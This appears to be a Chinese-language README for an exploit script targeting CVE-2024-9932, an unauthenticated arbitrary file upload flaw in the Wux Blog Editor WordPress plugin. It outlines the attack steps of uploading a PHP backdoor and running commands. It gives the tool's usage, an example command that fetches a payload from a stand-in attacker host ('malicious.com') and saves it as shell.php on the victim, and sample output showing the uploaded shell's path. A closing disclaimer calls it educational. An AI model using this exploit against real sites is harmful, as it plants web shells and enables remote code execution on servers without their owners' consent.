Wux Blog Editor WordPress 插件存在任意文件上传漏洞,原因是 wuxbt_insertImageNew 函数对文件类型验证不足。受影响版本包括 3.0.0 及更早版本。该漏洞允许未经身份验证的攻击者向服务器上传任意文件,可能导致远程代码执行 (RCE)。
该漏洞源于 wuxbt_insertImageNew 函数对文件类型验证不当,攻击者可在无需身份验证的情况下向服务器上传恶意文件。
攻击场景:
攻击者识别使用该易受影响插件的网站。
利用文件上传功能上传恶意 PHP 后门文件。
在被入侵的服务器上执行命令。
usage:CVE-2024-9932.py [-h] -u URL -ur REMOTE_URL [-n NAME]
Wux Blog Editor - Arbitrary File Upload
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress server, e.g., http://192.168.100.74/wordpress
-ur REMOTE_URL, --remote-url REMOTE_URL
Remote file URL, e.g., http://192.168.100.54/shell.txt
-n NAME, --name NAME Desired file name, e.g., Nxploit.php
python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n shell.php
成功上传示例
1- 文件已找到:
2- 执行结果:导航至文件的 URL 以执行 payload。
[+] File found: http://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
此工具仅用于教育目的。未经许可在系统上使用此脚本是违法的。